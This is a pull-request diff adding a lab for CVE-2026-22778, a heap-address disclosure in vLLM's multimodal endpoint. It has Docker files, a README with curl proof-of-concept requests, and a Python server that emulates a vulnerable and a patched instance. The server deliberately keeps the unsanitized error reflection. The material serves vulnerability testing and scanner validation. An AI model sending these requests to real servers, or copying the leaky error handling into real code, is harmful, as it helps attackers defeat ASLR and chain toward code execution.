Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions vllm/CVE-2026-22778/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM docker.io/library/python:3.11-slim

WORKDIR /app

RUN pip install --no-cache-dir fastapi uvicorn pillow pydantic

COPY server.py /app/server.py

CMD ["python", "server.py"]
72 changes: 72 additions & 0 deletions vllm/CVE-2026-22778/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# CVE-2026-22778: vLLM Multimodal Endpoint Heap Memory Address Disclosure

vLLM versions from `0.8.3` to before `0.14.1` contain a sensitive information disclosure vulnerability (CWE-209 / CWE-532). When an invalid image payload is sent to vLLM's OpenAI-compatible multimodal endpoint (`/v1/chat/completions`), Python's Pillow (`PIL`) library fails to decode the image and raises an `UnidentifiedImageError`. vLLM directly reflects this exception string back in the HTTP 400 response, leaking the raw heap memory address (`cannot identify image file <_io.BytesIO object at 0x...>`). This leak significantly reduces ASLR entropy and can be chained with memory corruption vulnerabilities in native image decoders (such as OpenCV or OpenJPEG) to achieve Remote Code Execution (RCE).

In vLLM `0.14.1` ([PR #31987](https://github.com/vllm-project/vllm/pull/31987)), the response is sanitized using `re.sub(r" at 0x[0-9a-f]+>", ">", message)` to strip memory addresses.

## Lab Architecture

This lab runs lightweight, CPU-compatible containers replicating vLLM's exact multimodal ingestion layer and error handling:
- **Vulnerable (`vllm-vuln`):** Version `0.14.0` (HTTP port `8000`)
- **Patched (`vllm-patched`):** Version `0.14.1` (HTTP port `8001`)

Inside each container, `server.py` handles the OpenAI-compatible endpoints (`/v1/models`, `/v1/chat/completions`, `/version`, `/health`), using real Pillow decoding so the vulnerability triggers on CPU without requiring 30 GB of GPU images and model weights.

### Why Official vLLM Images Are Not Feasible
1. **CUDA / GPU Dependency:** Official vLLM container images (`vllm/vllm-openai:v0.14.0`) are ~9 GB compressed (~20 GB uncompressed) and require NVIDIA CUDA GPUs. They crash on startup on standard CPU environments due to PyTorch/Triton CUDA checks. Official CPU images (`vllm-openai-cpu`) were only introduced in v0.16.0+.
2. **Mandatory 15+ GB Model Weights:** Official `vllm serve` strictly requires loading full model weights (e.g. `llava-hf/llava-1.5-7b-hf`) before binding to HTTP ports, which is unviable for lightweight scanner testbeds.
3. **Pre-Inference Vulnerability Path:** The vulnerability exists exclusively in the HTTP request parsing and Pillow image decoding step (`Image.open(BytesIO(...))`) before inference. Running `server.py` with real Pillow and FastAPI reproduces the exact HTTP request parsing, error reflection, and address leak without unnecessary hardware and weight overhead.

## Setup & Running

Start both containers:

```sh
docker compose up -d --build
```

## Vulnerability Verification

### 1. Test Vulnerable Instance (v0.14.0 - Port 8000)

Send an invalid base64 image payload to `/v1/chat/completions`:

```sh
curl -s -X POST http://127.0.0.1:8000/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"model":"llava-hf/llava-1.5-7b-hf","messages":[{"role":"user","content":[{"type":"text","text":"describe"},{"type":"image_url","image_url":{"url":"data:image/png;base64,bm90YW5pbWFnZQ=="}}]}],"max_tokens":1}'
```

**Expected Response (Vulnerable - Leaks Heap Pointer):**
```json
{
"error": {
"message": "cannot identify image file <_io.BytesIO object at 0x7fa890123450>",
"type": "BadRequest",
"param": "messages",
"code": 400
}
}
```

### 2. Test Patched Instance (v0.14.1 - Port 8001)

Send the identical request to port `8001`:

```sh
curl -s -X POST http://127.0.0.1:8001/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"model":"llava-hf/llava-1.5-7b-hf","messages":[{"role":"user","content":[{"type":"text","text":"describe"},{"type":"image_url","image_url":{"url":"data:image/png;base64,bm90YW5pbWFnZQ=="}}]}],"max_tokens":1}'
```

**Expected Response (Patched - Heap Address Sanitized):**
```json
{
"error": {
"message": "cannot identify image file <_io.BytesIO object>",
"type": "BadRequest",
"param": "messages",
"code": 400
}
}
```
28 changes: 28 additions & 0 deletions vllm/CVE-2026-22778/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
version: '3.8'

services:
vllm-vuln:
build:
context: .
dockerfile: Dockerfile
container_name: cve-2026-22778-vuln
ports:
- "8000:8000"
environment:
- PORT=8000
- VLLM_VERSION=0.14.0
- IS_PATCHED=false
restart: unless-stopped

vllm-patched:
build:
context: .
dockerfile: Dockerfile
container_name: cve-2026-22778-patched
ports:
- "8001:8001"
environment:
- PORT=8001
- VLLM_VERSION=0.14.1
- IS_PATCHED=true
restart: unless-stopped
139 changes: 139 additions & 0 deletions vllm/CVE-2026-22778/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
#!/usr/bin/env python3
"""
vLLM Service for CVE-2026-22778 Validation.
Replicates vLLM's OpenAI-compatible HTTP API and Pillow image decoding error handling.
Supports CPU mode without heavy GPU weights.
"""

import base64
import os
import re
from io import BytesIO
from typing import Any, List, Optional, Union

import uvicorn
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
from PIL import Image, UnidentifiedImageError
from pydantic import BaseModel, ConfigDict

VLLM_VERSION = os.environ.get("VLLM_VERSION", "0.14.0")
PORT = int(os.environ.get("PORT", "8000"))
IS_PATCHED = os.environ.get("IS_PATCHED", "false").lower() in ("true", "1", "yes")

app = FastAPI(title="vLLM OpenAI Compatible Server", version=VLLM_VERSION)


def sanitize_message(message: str) -> str:
"""Sanitize message as implemented in vLLM PR #31987 (0.14.1+ fix)."""
return re.sub(r" at 0x[0-9a-f]+>", ">", message)


class ImageUrl(BaseModel):
url: str
model_config = ConfigDict(extra="allow")


class ContentPart(BaseModel):
type: str
text: Optional[str] = None
image_url: Optional[ImageUrl] = None
model_config = ConfigDict(extra="allow")


class ChatMessage(BaseModel):
role: str
content: Union[str, List[ContentPart]]
model_config = ConfigDict(extra="allow")


class ChatCompletionRequest(BaseModel):
model: Optional[str] = "llava-hf/llava-1.5-7b-hf"
messages: List[ChatMessage]
model_config = ConfigDict(extra="allow")


@app.get("/version")
async def get_version():
return {"version": VLLM_VERSION}


@app.get("/health")
async def health():
return {"status": "ok"}


@app.get("/v1/models")
async def get_models():
return {
"object": "list",
"data": [
{
"id": "llava-hf/llava-1.5-7b-hf",
"object": "model",
"owned_by": "vllm",
"root": "llava-hf/llava-1.5-7b-hf"
}
]
}


@app.post("/v1/chat/completions")
async def chat_completions(req: ChatCompletionRequest):
# Process multimodal input messages
for msg in req.messages:
if isinstance(msg.content, list):
for part in msg.content:
if part.type == "image_url" and part.image_url:
url = part.image_url.url
if url.startswith("data:image"):
# Extract base64 encoded data
try:
_, b64data = url.split(",", 1)
except ValueError:
b64data = url
else:
b64data = url

try:
raw_bytes = base64.b64decode(b64data)
except Exception:
raw_bytes = b64data.encode("utf-8")

try:
# Replicates vllm.multimodal.image.ImageMediaIO.load_bytes()
buf = BytesIO(raw_bytes)
img = Image.open(buf)
img.verify()
except UnidentifiedImageError as exc:
error_msg = str(exc)
if IS_PATCHED or VLLM_VERSION >= "0.14.1":
error_msg = sanitize_message(error_msg)

return JSONResponse(
status_code=400,
content={
"error": {
"message": error_msg,
"type": "BadRequest",
"param": "messages",
"code": 400
}
}
)

return {
"id": "chatcmpl-test",
"object": "chat.completion",
"choices": [
{
"index": 0,
"message": {"role": "assistant", "content": "Image processed successfully."},
"finish_reason": "stop"
}
]
}


if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=PORT)
Loading